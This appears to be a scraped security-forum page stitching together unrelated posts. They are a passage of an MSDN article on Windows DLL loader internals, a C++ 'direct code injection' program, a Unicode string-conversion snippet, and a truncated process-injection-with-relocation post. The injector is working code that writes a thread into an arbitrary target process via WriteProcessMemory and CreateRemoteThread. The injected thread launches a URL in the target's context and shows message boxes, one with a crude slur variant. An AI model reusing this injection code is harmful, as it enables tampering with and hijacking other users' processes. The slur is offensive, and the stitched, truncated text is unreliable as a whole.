been set to -1 (which seems to mean "do not update the load count.") The module flag will also be cleared of its load-pending bit, which was set by the routine LdrpUpdateLoadCount. LdrpLoadDll will then leave the critical section block and set the ImageBase parameter to the address where the DLL was loaded. More than likely, though, this is not the quick exit you are looking for—unless you are wasting machine cycles by using LoadLibrary to return an HINSTANCE of an already loaded module. Otherwise, GetModuleHandle is a better alternative. Instead, let's see what happens when the search fails. LdrpMapDll Now that LdrpLoadDll knows that the requested DLL has not already been loaded into the process, it calls upon its second helper routine, LdrpMapDll, to perform the duties of finding the DLL's housing (the actual file), loading the DLL into memory (but not initializing it), and creating and adding a structure that I have tagged, MODULEITEM, to the PEB's module list. First, orient yourself in Figure 3 and become familiar with the support routines you can see in LdrpMapDll, (LdrpCheckForKnownDll, LdrpResolveDllName, LdrpCreateDllSection, LdrpAllocateDataTableEntry, LdrpFetchAddressOfEntryPoint, and LdrpInsertMemoryTableEntry). In the file LdrpMapDll.cpp, you will find the pseudocode that shows the fine points of what actually takes place here. LdrpCheckForKnownDll checks to see if the loading DLL can be located in the directory specified in the Unicode string, LdrpKnownDllPath, located at 0x77FCE008. Examining this memory location with a debugger reveals that this variable contains the value "C:\WINNT\SYSTEM32" (or something similar, depending upon how your system is configured). If you start up WinObj (found at http://www.sysinternals.com) or my utility, NtObjects (found at http://www.smidgeonsoft.com), and select View | Executive Objects, you will find an object directory called KnownDlls. Under this directory, you will see the item KnownDllPath (a symbolic-link object) that contains the value for your system. LdrpCheckForKnownDll allocates two Unicode strings to hold the fully qualified DLL file name and the file name by itself. By calling NtOpenSection with the fully qualified file name, a FileExists operation is performed and LdrpCheckForKnownDll returns a section handle if the DLL is known. Otherwise, the two Unicode strings are freed and LdrpMapDll must call on the services of LdrpResolveDllName and LdrpCreateDllSection. LdrpResolveDllName returns two Unicode strings, the loading DLL's file name and its fully qualified file name. If a search path was not provided, the routine uses the path found at the hardcoded address 0X77FCE30C in NTDLL.DLL, which points to a default search path. RtlDosSearchPath_U, though, performs the real work in this routine. If RtlDosSearchPath_U can find the loading DLL, it returns the length of the path where it resolved the DLL's name. If you try to load a DLL that cannot be found in the search path, the search returns 0. LdrpMapDll then responds to this result and returns with the status code STATUS_DLL_NOT_FOUND, which leads to a quick exit from LdrpLoadDll. If you change the test program so that it tries to load a DLL with the name "bogus," you can check this for yourself. Assuming all is well and the loading DLL has been found, LdrpCreateDllSection must take over and create the all important section handle. Since sections are classified as kernel objects, the path needs to be converted into something that the Executive Object Manager can understand. This is where the routine RtlDosPathNameToNtPathName comes into play. It takes a fully qualified file name "C:\Projects\LoadLibrary\Debug\TestDll.dll" and returns something like "\??\C:\Projects\LoadLibrary\Debug\TestDll.dll." If the file name cannot be interpreted, then the routine returns STATUS_OBJECT_PATH_SYNTAX_BAD and ends execution. LdrpCreateDllSection is just a thin wrapper around the so-called native API, NtCreateSection. First, a file handle is obtained with NtOpenFile. If that call fails, then a return code of STATUS_INVALID_IMAGE_FORMAT is generated. Otherwise, the Object Manager creates the section handle and the file handle is closed via NtClose. Now that LdrpMapDll has the section handle, it can actually load the DLL into the process's address. The DLL is brought in as a memory-mapped file through the services of NtMapViewOfSection. First, the defaults are set for the base address and the size of the mapping object—with the latter, a value of 0 indicates to the system that the entire section object will be mapped. Then, a field in the PEB reserved for subsystem calls is loaded with the value of the fully qualified file name. Those of you who have written debug loops and have handled the debug event LOAD_DLL_DEBUG_EVENT may be interested to know that the lpImageName field of the LOAD_DLL_DEBUG_INFO structure is filled with the contents of this field, which is reserved for subsystem calls in the process that's being debugged. Now, NtMapViewOfSection is called. This triggers the notification of the loading DLLs as seen in debuggers like the one in Visual C++. LdrpMapDll restores the previous value of the PEB's subsystem data field and checks on the success of the operation. If the DLL has been successfully mapped, LdrpMapDll now possesses an actual memory address with which it can work. How NtMapViewOfSection returns the image base when no hint was passed to it is a question that could be resolved with further exploration. PEB Load List After a sanity check on the image now mapped into memory, LdrpMapDll continues with some bookkeeping. Earlier I mentioned a data structure I named MODULEITEM that is created and added to the process's PEB. In the code for LdrpLoadDll.h you will find a reconstruction of this structure. The job of LdrpAllocateDataTableEntry is to allocate this object and initialize the ImageBase field using three values: the HMODULE handle returned by NtMapViewOfSection, the ImageSize field using the SizeOfImage value found in the portable executable (PE) file's optional header, and the TimeDateStamp from the equivalent field in the PE file header. If the memory allocation fails, the routine returns a NULL pointer. LdrpMapDll then removes the file mapping, closes the section handle, and fails, returning STATUS_NO_MEMORY. Assuming that all is well, the LoadCount field in the newly built ModuleItem is zeroed out and ModuleFlags gets initialized. (LdrpLoadDll.h provides the possible values for this field.) The two Unicode string fields containing the full path to the DLL and the file name are filled in. Then a call placed to the small helper routine, LdrpFetchAddressOfEntryPoint, inserts the structure's EntryPoint field. With the ModuleItem partially initialized, LdrpMapDll calls LdrpInsertMemoryTableEntry to insert the entry into the process's module list located in the PEB. At offset 0x0C in the PEB, which can usually be found at the address of 0x7FFDF000, you will find the pointer to a structure I have named MODULELISTHEADER. Windows NT and Windows 2000 maintain three doubly linked lists that describe the load, memory, and initialization order for the modules in a process. If you have ever used the PSAPI routines or the newly available ToolHelp32 functions in Windows 2000 to enumerate the modules loaded in a process's address space, you should be having an epiphany. You have an alternate method to gather this information, in three different flavors, by using ReadProcessMemory and these undocumented structures. These structures have remained stable from Windows NT 4.0 through Windows 2000, and through the betas for Windows XP that were available when I did the research for this article. LdrpInsertMemoryTableEntry adds the ModuleItem structure to the end of the load and memory chains and fixes up the links appropriately. In my experience, I have found that the load and memory chains possess the same order; only the initialization list varies with its own order of the modules. See Matt Pietrek's column for more information on the initialization chain. Returning to LdrpMapDll, you can now see the ModuleFlags field receiving some additional attention. If the executable is not IMAGE_FILE_LARGE_ADDRESS_AWARE and it is not of type IMAGE_DLL, the EntryPoint field gets zeroed out. LdrpMapDll tests the return value from NtMapViewOfSection to determine if the image was loaded at its preferred image base. Unfortunately, scenarios in which your DLL is parked in a different location is beyond the scope of this discussion, but now you know the way, so you can investigate this phenomenon on your own. Finally, after a validation of the image on multiprocessor systems, LdrpMapDll closes the section handle obtained from LdrpCreateDllSection and returns with the results of its work. The validation only proceeds if your DLL contains data in the directory IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG and the LockPrefixTable field in this directory is nonzero. (NTDLL and Kernel32 contain the IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG directory.) You can use PEBrowse to examine this directory, and those of you fortunate enough to have a multiprocessor machine can continue your own exploration down this path. LdrpWalkImportDescriptor You may think that the route through LdrpLoadDll has been relatively straight and uncomplicated so far. But there still may be a maze of passages ahead. Your attempt to load LdrpLoadDll may have generated the need for additional modules, and this is where LdrpWalkImportDescriptor comes in. (In order to better understand my pseudocode, it will help to have some knowledge of the PE header definitions found in WinNt.h, especially those relevant to imports and exports. You can take a look at "Inside Windows: An In-Depth Look into the Win32 Portable Executable File Format" by Matt Pietrek in the February 2002 issue of MSDN Magazine. Your typical module load takes you through the twists and turns of LdrpWalkImportDescriptor. However, if you specify DONT_RESOLVE_DLL_REFERENCES in your call to LoadLibraryExW, then you will avoid the upcoming maze. You should read the SDK documentation carefully to make certain that this is what you want. There is also a mechanism, which I'll explain later, to help you avoid the loops and recursion that are part of LdrpSnapIAT and LdrpSnapThunk. But if you don't take either of these alternatives, then you need to know what happens with LdrpWalkImportDescriptor. Orient yourself once again by reexamining Figure 3, locating LdrpWalkImportDescriptor. LdrpWalkImportDescriptor has two subroutines: LdrpLoadImportModule and LdrpSnapIAT. This does not seem so bad, but one tip-off that this code will soon become interesting is that there are four nesting levels in the routines for LdrpSnapIAT. The number and depth of nested functions is one metric that indicates the complexity of code. You should take note that recursion is possible in not one, but two locations in LdrpSnapIAT. You may recall that in the section on APIs exported by NTDLL.DLL I mentioned the apparent simplicity of the call to LdrpLoadDll and the fifth parameter that took a 0 or a 1. LdrpSnapIAT can also be recursive inside LdrpGetProcedureAddress. Finally, to make things even more complex than they already were, it's possible that a typical DLL may import other modules that start a cascade of additional library loads. The loader will need to loop through each module, checking to see if it needs to be loaded and then checking its dependencies. With that in mind, let's take a look at the pseudocode found in LdrpWalkImportDescriptor.cpp. (If you are following along with the debugger, change the test program to load the Forwarded.DLL module and restart the debugger.) Execution starts with two calls to RtlImageDirectoryEntryToData to locate the Bound Imports Descriptor and the regular Import Descriptor tables. For the moment, ignore the call for that bound import thing except to notice that the code checks for its presence first. (I'll discuss binding later.) In Forwarded.DLL, LdrpWalkImportDescriptor detects two imported modules, User32.DLL and Kernel32.DLL, and now calls upon LdrpLoadImportModule for assistance. LdrpLoadImportModule constructs a Unicode string for each DLL found in the import table and then employs LdrpCheckForLoadedDll, using the hash table in NTDLL that was mentioned earlier to see if they have already been loaded. Note that the call here is made with only the file name (no fully qualified path) and the process's search path. If you have ever had your application complain that it cannot find a DLL, you should realize that it may not be the loading module's fault. Check to see that all of its dependent modules can be found. If a module is found and already loaded, life is good because there is one less module to worry about. If it has not been loaded, then you've found an instance of recursion. A call to LdrpMapDll to bring the DLL into the process' address space is followed by a call to LdrpWalkImportDescriptor. Now you're in the middle of the twisting mazes I mentioned. The IAT and Forwarded API Processing Once LdrpWalkImportDescriptor knows that the module is in memory (either through a call to LoadLibraryExW way back at the beginning or via the LdrpMapDll call in LdrpLoadImportModule), the next step is to examine each and every API referenced in Forwarded's imported module list with the call to LdrpSnapIAT. Why is this necessary? There are two reasons. First, you want to replace the placeholders in the Import Address Table (IAT) with real entry points. Second, you need to locate and process APIs that may have been forwarded on to another DLL. (Forwarding is one technique Microsoft employs to expose a common Win32 API set and to hide the low-level differences between the Windows NT and Windows 9x platforms.) You may have observed either in the debug output strings or by carefully stepping through the loader code that at some point during Kernel32 processing, a check on NTDLL.DLL was made. Since just about any DLL with some executable code contains references to Kernel32, you may wonder why this is happening at all. You already know that NTDLL.DLL is loaded into every process. The answer is that Kernel32 contains APIs that are "forwarded" to NTDLL. Refer to Figure 4 for a complete list of these APIs for Kernel32 (version 5.0.2195.1600). You may also notice that the list contains functions that are common requirements for just about any kind of serious programming. Remember, LdrpLoadDll needs to load every module referenced by the loading DLL, including those "hidden" references contained in forwarded APIs. Thus, a reasonable conclusion from all of this is that an import table walk will take place every time you load a DLL—at least for Kernel32's forwarded APIs and for any additional forwarded APIs you may have decided to include in your application! To allow you to experiment with this concept, I have included Forwarder.DLL and Forwarded.DLL in the download, as I've mentioned previously. The code for Forwarder.DLL is extremely simple—a DllMain with an export pragma. If you run DumpBin or PEBrowse on this module, you will see that it exports only one routine, and that the routine is marked with a designation that it is forwarded on to Forwarded.ShowMessage. Now, turn your attention to Forwarded.DLL and take a look at what it exports. You will see a typical DLL with a DllMain and the single API, ShowMessage. However, if you changed the test program to load Forwarder and then observed what happened in the debugger, you might have wondered why no reference to Forwarded appeared. You will encounter this confusion unless you also included the GetProcAddress statement in your compile. Make certain that you include the GetProcAddress line and you will now see that both DLLs are loaded. You're observing another form of delay-load occurring and, perhaps, another example of the optimization that has been done on the loading engine in Windows. Returning to LdrpWalkImportDescriptor, you'll find that it tests several items before calling LdrpSnapIAT. (For the purposes of following the next few steps, change the sample back to use Forwarded.DLL.) If you look up Section 6.4.1 of the Portable Executable Specification (found on the MSDN Library CD under Specifications), you will read that the time/date stamp field of an import directory will contain a value of 0 unless the DLL has been bound. One of the fields tested is the time/date stamp field, which is 0 in Forwarded.DLL, so let's step into LdrpSnapIAT. LdrpSnapIAT wraps its execution around a __try/__except block first before locating the IAT in Forwarded.DLL, and then hunts for the export directory in the module that Forwarded is attempting to load (assume it is Kernel32 for now). It then changes the memory protection on the IAT of Forwarded.DLL to PAGE_READWRITE and proceeds to examine each entry in the IAT. (If you are able to examine the protection for this chunk of memory, you will see that it is normally PAGE_READONLY for your executables.) Going a bit further, you'll encounter LdrpSnapThunk. LdrpSnapThunk requires an ordinal to locate an entry point and to determine whether or not the API is forwarded. If the hint value in Forwarded.DLL's import directory is correct, you can use that (generally, I have found this not to be the correct value). Otherwise, LdrpSnapThunk calls on the services of the helper routine, LdrpNameToOrdinal, to look up the correct value. Observe that LdrpNameToOrdinal uses a binary search on the export table to quickly locate the ordinal—more optimization in the loader—and note that the table must be sorted in alphabetical order for the search to work. Now that you have an ordinal, you can look up the entry point for the API in Kernel32. LdrpSnapThunk first plugs the loading module's IAT entry with an address derived from the export table for Kernel32; see Section 6.4.4 of the PE specifications (which can be found on the October 2001 MSDN CD under Specifications | Microsoft Portable Executable and Common Object File Format) for more information. (This explains why the page protection was changed in LdrpSnapIAT.) Section 6.3.2 of the PE specifications says: If the address (the entry-point) is not within the export section (as defined by the address and length indicated in the Optional Header), the field is an Export RVA: an actual address in code or data. Otherwise, the field is a Forwarder RVA, which names a symbol in another DLL. So now you can finally decide whether or not the API has been forwarded. In the vast majority of cases, the API is not forwarded, but let's assume you are looking at Forwarded's reference to HeapAlloc. (Check the math first. Kernel32's image base (0x77e80000) + HeapAlloc's entry point (0x0005b658) is 0x77edb658, which is inside the range for the export table, 0x77ed5c20 to 0x77edb770.) LdrpSnapThunk now proceeds to break apart the forwarded reference for HeapAlloc, which will have the format NTDLL.RtlAllocateHeap, and then calls LdrpLoadDll to obtain NTDLL's image base—hmm, this looks like you're back at the beginning. But note that the fifth parameter is passed with a value of 0. Also note that the DLL name that was constructed before making the call to LdrpLoadDll lacks the .DLL extension. Fortunately, the call to LdrpLoadDll will succeed when LdrpCheckForLoadedDll figures out that NTDLL.DLL is already loaded. But do you remember that experiment where I changed the extension for Forwarded to .cpl? Try this again and you will see that LdrpLoadDll now fails on the LdrpMapDll call with a STATUS_DLL_NOT_FOUND return code. Now I have an explanation for the earlier results. With the module name out of the way, LdrpSnapThunk grabs the API name, RtlAllocateHeap, and forges on to LdrpGetProcedureAddress. At this point, I am getting close to the end of this forwarded API processing, I promise. LdrpGetProcedureAddress is another routine that wraps its processing around a __try/__except block. The routine determines what type of API information it has been handed, either an ordinal if the API name parameter is null, or the name itself. The test is needed in order to properly set up parameters for an upcoming call to LdrpSnapThunk. But wait a moment. Didn't LdrpSnapThunk just bring us to this point? The two parameters are a pointer to the API's entry in the IAT and an overloaded item that contains either the image base of the loading DLL or a pointer to an IAT entry. If the flag, LdrpInLdrInit, is turned on, the process's critical section is entered. And now let's really dive in deep and step into LdrpCheckforLoadedDllHandle. Fortunately, the functionality here is pretty simple to describe and understand. I need a MODULEITEM before I can continue. LdrpCheckforLoadedDllHandle first examines a handle cache residing at LdrpLoadedDllHandleCache to see if the image base there is the same as its input parameter, hDll. If not, the routine perseveres by walking the LoadOrder list, searching for the MODULEITEM whose image base matches hDll and whose linkage in the memory order list has been established. Once it finds an entry matching these criteria, it updates the cache with it and hands back to LdrpGetProcedureAddress the MODULEITEM that it found, or returns a 0 to indicate failure. With a MODULEITEM in hand, LdrpGetProcedureAddress now calls an old friend, RtlImageDirectoryEntryToData, to locate the item's export directory and starts that twisty, recursive call to LdrpSnapThunk. What is going on here? Why is this call necessary? The answer, in part, is that this new API itself may be forwarded! I am not aware of such a situation in Windows 2000, but the possibility certainly exists. Happily, HeapAlloc's processing ends with RtlAllocateHeap inside of NTDLL, and LdrpSnapThunk returns an IAT entry with the entry point to this API. LdrpGetProcedureAddress frees up any work areas it might have created, exits the critical section (if it was acquired), and returns. Whew! Next, LdrpSnapThunk checks the return code and returns STATUS_ENTRYPOINT_NOT_FOUND if the API was not found. Otherwise, it replaces the entry in the IAT with the API's entry point and continues on. Study Section 6.4.4 in the PE specifications and especially the references to binding for a more complete picture of what is happening. Now let's return to LdrpSnapIAT and move on to the next imported API in Kernel32 (or break from the loop if the LdrpSnapThunk call failed). Once all of the entries are processed in Kernel32's import table, LdrpSnapIAT restores the memory protection it changed at the beginning of its work, calls NtFlushInstructionCache to force a cache refresh on the memory block containing the IAT, and returns back to LdrpWalkImportDescriptor. The cache refresh might be a little surprising, but in many executables the IAT can be found in the .text section where code is found. If LdrpWalkImportDescriptor does not flush the memory block containing the updated IAT, then all of the previous work will have been for naught because the processor may continue to use the old version of the memory block. (For more information read the SDK documentation for the Kernel32 API FlushInstructionCache, which is just a thin wrapper around NtFlushInstructionCache.) If you want to see the results of RunTime Binding via LdrpSnapIAT and LdrpSnapThunk on the IAT for Forwarded.DLL (SP1), take a look at Figure 5. Bound DLL Processing You may recall that LdrpWalkImportDescriptor tested for the existence of two directories or descriptors, the regular Import Descriptor and something called the Bound Imports Descriptor, and tried to use the Bound Imports Descriptor first if it was available. Also, LdrpSnapIAT examined the time/date stamp in the Import Directory Table for a special value of -1 before moving on to LdrpSnapThunk. There just may be an alternative to all of this import table munging by pre-binding your DLL. Now is the time to change my test project to load TestDll and see what happens in the Windows 2000 loader with a module that has been bound ahead of time. If you have not created the environment variable "MSSdk" as I mentioned in the readme.txt file, and set it equal to the root directory where your Platform SDK is located, do so now and rebuild TestDll (a post-link step should kick in that performs the binding operation). Or, from a command line you can enter and run the following command: bind -u testdll.dll When you examine the resulting executable, you should see that a new directory in the optional header array has been filled: the slot corresponding to IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT. Launching the result in the debugger, you will also observe that the tests for the Bound Imports Descriptor will succeed. Try the test without a call to GetProcAddress on "fnTestDll" and you will see that when LdrpWalkImportDescriptor issues its call to LdrpLoadImportModule, the check for an already loaded module (Kernel32.DLL) will succeed and that means you can avoid the nasty bumps and turns that made the code very complex earlier in the discussion of LdrpWalkImportDescriptor. My DLL loads faster because there is no looping through the APIs I imported from Kernel32 since the fix-ups have already been done (including the forwarded references). I feel like I've found the Holy Grail. But this old cup loses some of its shine when I change the sample to call fnTestDll. Before continuing, see if you can foretell why you will be walking that twisty maze again. The reason is that Forwarded.DLL, the module that contains the real code for my forwarded API, fnTestDll, was not itself bound. Run the bind utility on Forwarded.DLL and the brilliance of my newfound treasure returns. The moral of this little exercise is that in order to gain the full measure of efficiency that pre-binding a module provides, make certain that all the subordinate modules have been bound, too. There is a slight downside to pre-binding a DLL, though. What happens when the next version of the operating system appears with a new version of Kernel32 and new locations for the exported functions? Or consider the consequences of another module loading and occupying the slot reserved in memory for that DLL you have bound your executable to. Your bindings, the hardcoded addresses in the IAT, will be incorrect and considered stale by the loader. Under these conditions, the binding is effectively ignored, the LdrpWalkImportDescriptor processing takes place, and you are no better off than you were before. On the other hand, if you can manage to keep your DLLs in sync with the current versions of the system DLLs and any others you may use, you should see an improvement in your module loads. As the SDK documentation states: "You can minimize load time by using Bind to bypass this lookup." (For more discussion concerning BIND.EXE and other load issues, see Under the Hood in the May 2000 issue of MSDN Magazine. Also, note that the system DLLs, Kernel32, GDI32, User32, AdvApi32, and so on have been pre-bound.) Figure 6 shows the results of pre-binding using the SDK Bind utility on the IAT for TestDll.DLL (SP1). LdrpUpdateLoadCount If you take stock of what you have seen and learned so far, you will realize that the first three parts in LdrpLoadDll's processing have been completed. The last part of LdrpLoadDll to explore involves an update to module reference counts. That is the job for LdrpUpdateLoadCount. LdrpUpdateLoadCount is a dual-purpose routine; it is called when the DLL is both loading and unloading. It attempts to walk either the Bound Imports table or the Imports table, and it will recurse on itself for any subordinate modules. The result is code that will likely be difficult for you to follow, but LdrpUpdateLoadCount.cpp contains my attempt to write pseudocode for this procedure. Distilling the essence of the pseudocode leaves the following: LdrpUpdateLoadCount walks through either the Bound Imports Descriptor or the Imports Descriptor looking for imported modules using LdrpCheckForLoadedDll and the NTDLL hash table. If the module was newly loaded by a LoadLibraryExW call, then LdrpUpdateLoadCount updates its reference count and walks its tables for any imports. You can easily imagine a tree structure that describes the relationships between DLLs and their imports, and LdrpUpdateLoadCount must walk the tree completely to update everyone's reference count correctly. Some modules enter the process with a reference count of -1 and are skipped by this update. I leave here a question for future exploration: why do some DLLs have a reference count of -1 and the others contain an actual count? Longtime readers of Under the Hood may recall a handy utility Matt Pietrek wrote named NukeDll. Back in the ancient days of 16-bit Windows 3.x, an application that General Protection Faulted had the nasty habit of leaving wreckage strewn about in memory in the form of orphaned Dlls—their reference counts never reached 0 and were not released from the common address space that was part of Windows. Using NukeDll, you could nuke these orphans out of existence and free precious resources. The need for a utility like that has been virtually eliminated with Windows NT and its successors because of the compartmentalization imposed upon processes by the operating system. Still, the reference count is important; your application could be loading and unloading modules but leaking HINSTANCE's because of a mismatch in the LoadLibrary/FreeLibrary pairs. But this will only hurt your own buggy application and you will only chomp through your own resources; other processes in Windows NT and Windows 2000 will be isolated from this behavior. Once LdrpUpdateLoadCount has finished its work and has returned, LdrpLoadDll checks the return code from LdrpWalkImportDescriptor. If the code is STATUS_SUCCESS, processing continues on to DLL initialization (which was described in Matt Pietrek's September 1999 Under the Hood column) and is followed by leaving the process's critical section. But if there was a problem in LdrpWalkImportDescriptor, then LdrpLoadDll must back out all of the work done up until now, mostly by invoking LdrpUnloadDll. An image base is sent back to LoadLibraryExW in the form of an HMODULE. The LOAD_WITH_ALTERED_SEARCH_PATH Option There is one scenario that I have not described yet, and that is when a call to LoadLibraryExW is made with dwFlags equal to LOAD_WITH_ALTERED_SEARCH_PATH. Now that you have grown somewhat accustomed to wandering around DLLs, you might want to experiment on your own with this small wrinkle. Change the Test sample program to issue this version of a LoadLibraryExW call and pay particular attention to the first parameter for LdrpLoadDll and note any differences. You might also want to create two copies of TestDll, storing one copy in your \TEMP directory, and observing what happens. With a minimum amount of effort you will be able to manufacture a situation where two copies of TestDll are loaded, one from the current working directory and the second from the temp directory. That would demonstrate how the .NET CLR support for side-by-side execution of different versions of the same assembly might be implemented (although this side-by-side capability has been available since at least Windows NT 4.0). What You've Learned Next time the debugger displays a DLL load notification, you will know with some degree of confidence the state that the module is in: it has been mapped into memory, it has not been added to the PEB's housekeeping area, and, most importantly, it has not been initialized yet. You also have learned that the PEB contains not one, but three lists enumerating loaded modules in load, memory, and initialization order. (There are also many other fields in the PEB worthy of examination since they lead to other vital pieces of information on your process.) As Matt Pietrek has pointed out, the order of the DLLs you see displayed inside the debugger is not the order in which DLLs are initialized, as many people mistakenly believe. Probably the most important fact to hold onto is that a simple call to LoadLibrary results in many more things occurring under the covers than might initially be apparent. The loader must examine each and every API that DLL imports from other DLLs in order to calculate a real address in memory and perhaps load additional DLLs and check to see if an API may have been forwarded on to another procedure housed in another DLL. A loading DLL may bring in additional modules where the process just described will be repeated over and over again. The overhead that all of this processing brings to your application may be reduced by investigating the use of the SDK utility, BIND.EXE. The loader still checks the reference to each DLL contained in your program, but as long as the entries are not stale (in other words, the entries are still correct), the address calculation and forwarded API processing will be safely bypassed. Finally, you have seen that DLLs are reference-counted, just as they were in the ancient Windows 3.x days. Although this count does not have the same systemwide effect that it once had, a DLL that you are trying to manage dynamically will still produce resource leaks if you have not properly matched up FreeLibrary calls with each LoadLibrary call. Conclusion You should prepare yourself for additional trips into NTDLL.DLL during future debugging sessions because, like LoadLibraryEx, many Kernel32 APIs lead inevitably to undocumented routines that reside in NTDLL. If you end your investigation prematurely because of a reluctance to enter this uncharted territory, you may miss the real cause of your bug or, at least, a better understanding of your problem. I plan to maintain the pseudocode at my Web site, http://www.smidgeonsoft.com, so if you find any errors or improvements, please pass them along and I will incorporate them into the code listings. Sursa: http://msdn.microsoft.com/en-us/magazine/cc301727.aspx
  19. [C++] Direct Code Injection with Examples - No DLL for Injection Author: JuryBen //Coded By JuryBen #pragma comment(lib,"user32.LIB") #include <iostream> #include <windows.h> #include <tlhelp32.h> PROCESSENTRY32 Process; HANDLE Snapshot; BOOL ProcessFound; //REMOTE DATA struct RemoteData { //Only declare, don't initialize //MsgBox wchar_t sz[256]; wchar_t mt[256]; //ShellExecute wchar_t open[256]; wchar_t url[256]; //GetModuleFileName wchar_t locationbuffer[MAX_PATH]; //DWORD vars DWORD dwMessageBox; DWORD dwShell; DWORD dwLocation; }; //TYPEDEFS typedef int(__stdcall*MMessageBox)(HWND,LPCTSTR,LPCTSTR,UINT); typedef HINSTANCE(__stdcall*MShellExecute)(HWND,LPCTSTR,LPCTSTR,LPCTSTR,LPCTSTR,INT); typedef DWORD(__stdcall*MGetModuleFileName)(HMODULE,LPTSTR,DWORD); //REMOTE THREAD DWORD __stdcall MHThread(RemoteData *pData) { MMessageBox MsgBox = (MMessageBox)pData->dwMessageBox; MShellExecute SE = (MShellExecute)pData->dwShell; MGetModuleFileName GMFN = (MGetModuleFileName)pData->dwLocation; SE(NULL,pData->open,pData->url,NULL,NULL,SW_SHOWDEFAULT); MsgBox(0, pData->sz, pData->mt, 0); GMFN(NULL,pData->locationbuffer,sizeof(pData->locationbuffer)); MsgBox(0, pData->locationbuffer, pData->mt, 0); return 0; } int Inject() { std::wcout << "WARNING: Can cause stability issues and crashes!" << std::endl << "Injects thread with messagebox in process!" << std::endl; std::wcout << "Enter Process Name!" << std::endl << "Make sure to add the process extension!" << std::endl << std::endl; wchar_t ProcessName[1024]; std::wcin >> ProcessName; std::wcout << std::endl << ProcessName << std::endl; bool search = false; std::wcout << "Waiting for " << ProcessName << std::endl; while(!search) { Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); Process.dwSize=sizeof(Process); ProcessFound = Process32First(Snapshot,&Process); while(ProcessFound) { wchar_t searchbuffer[512]; wcscpy_s(searchbuffer,Process.szExeFile); if(!wcscmp(searchbuffer, ProcessName)) { std::wcout << ProcessName << " Found, injecting code!" << std::endl; Sleep(1000); /////////REMOTE THREAD RemoteData data; ZeroMemory(&data, sizeof (RemoteData)); wcscat_s(data.sz, L"im in your processes haxin your threads"); wcscat_s(data.mt, L"say wut nuggaaaa"); wcscat_s(data.open, L"open"); wcscat_s(data.url, L"http://lastfrag.com"); HINSTANCE hUser = LoadLibrary(L"user32.dll"); HINSTANCE hShell = LoadLibrary(L"shell32.dll"); HINSTANCE hKernel = LoadLibrary(L"kernel32.dll"); if (!hUser || !hShell || !hKernel) { MessageBox(0, L"LL Failed", L"Error!", 0); return 0; } data.dwMessageBox = (DWORD)GetProcAddress(hUser, "MessageBoxW"); data.dwShell = (DWORD)GetProcAddress(hShell, "ShellExecuteW"); data.dwLocation = (DWORD)GetProcAddress(hKernel, "GetModuleFileNameW"); FreeLibrary(hUser); FreeLibrary(hShell); FreeLibrary(hKernel); if (!data.dwMessageBox || !data.dwShell || !data.dwLocation) { MessageBox(0, L"Handles Failed", L"Error!", 0); return 0; } //Open Process HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Process.th32ProcessID); if(!hProcess) { MessageBox(0, L"OP Failed", L"Error!", 0); return 0; } //VirtualAllocEx void *pRemoteThread = VirtualAllocEx(hProcess, 0, sizeof (RemoteData), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!pRemoteThread) { MessageBox(0, L"RT Failed", L"Error!", 0); return 0; } //WriteProcessMemory if (!WriteProcessMemory(hProcess, pRemoteThread, (void*)MHThread, sizeof (RemoteData), 0)) { MessageBox(0, L"WPM Failed", L"Error!", 0); return 0; } //VirtualAllocEx RemoteData *pData = (RemoteData*)VirtualAllocEx(hProcess, 0, sizeof (RemoteData), MEM_COMMIT, PAGE_READWRITE); if (!pData) { MessageBox(0, L"RT Failed", L"Error!", 0); return 0; } //WriteProcessMemory if (!WriteProcessMemory(hProcess, pData, &data, sizeof (RemoteData), 0)) { MessageBox(0, L"WPM Failed", L"Error!", 0); return 0; } HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, pData, 0, 0); if (!hThread) { MessageBox(0, L"CRT Failed", L"Error!", 0); return 0; } //Clean up CloseHandle(hThread); VirtualFreeEx(hProcess, pRemoteThread, sizeof (RemoteData), MEM_RELEASE); CloseHandle(hProcess); //////////////// search = true; } ProcessFound=Process32Next(Snapshot,&Process); } CloseHandle(Snapshot); Sleep(100); } std::cin.ignore(); std::cin.get(); return 0; } int main() { Inject(); return 0; } Sursa: Direct Code Injection with Examples - No DLL for Injection
  20. [C] UnicodeToString - StringToUnicode Author: Xash #include <windows.h> void UnicodeToString(const wchar_t* pStringW, char* pStringA, const int stringLength) { int i = 0; while(i < stringLength) { *(pStringA + i) = (char)(BYTE)*(pStringW + i); i++; } *(pStringA + i) = (char)0x00; } void StringToUnicode(const char* pStringA, wchar_t* pStringW, const int stringLength) { int i = 0; while(i < stringLength) { *(pStringW + i) = (wchar_t)(BYTE)*(pStringA + i); i++; } *(pStringW + i) = (wchar_t)0x00; } int main() { wchar_t testStringW[20] = L"I'm a test!"; char testStringA[20] = {""}; UnicodeToString(testStringW, testStringA, lstrlenW(testStringW)); MessageBoxA(0, testStringA, "Hello", MB_OK); return 0; } Sursa: UnicodeToString - StringToUnicode
  21. Process Injection and Relocation 2010-11-29 04:11 PM Author: Dwar The drawback on the simple Process Injection was that for it to work, the remotely allocated virtual address had to be the same as the imagebase that it was originally loaded to. One problem with it is that if the program had allocated space or loaded a dll into that memory address the VirtualAllocEx would fail because it had already been allocated. For this to work in a process which had already allocated our needed address, we would have use the relocation section within our executable to change address in proportion to the new imagebase. Now a days, compilers by default leave out the .reloc section because you *normally* don't have to relocate a program. For this source code to work you have to make sure the linker outputs a .reloc section to your executable, or else it won't work and will cause the remote process to crash. So, whenever you tried to inject a process into another process that was using the required ImageBase, VirtualAllocEx would fail and cause the injection to fail as well. This problem can be fixed by rebasing every address within the relocation section of the executable. And by doing this you can inject an executable into *ANY* process that you have privileges to inject into. #include <windows.h> #include <stdio.h> #define MakePtr( cast, ptr, addValue ) (cast)( (DWORD)(ptr) + (addValue) ) BOOL Inject(DWORD dwPid, LPTHREAD_START_ROUTINE lpStartProc, LPVOID lpParam); BOOL PerformRebase(LPVOID lpAddress, DWORD dwNewBase); DWORD WINAPI RemoteThread(LPVOID lpParam); int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { HWND hWnd; DWORD dwPid; hWnd = 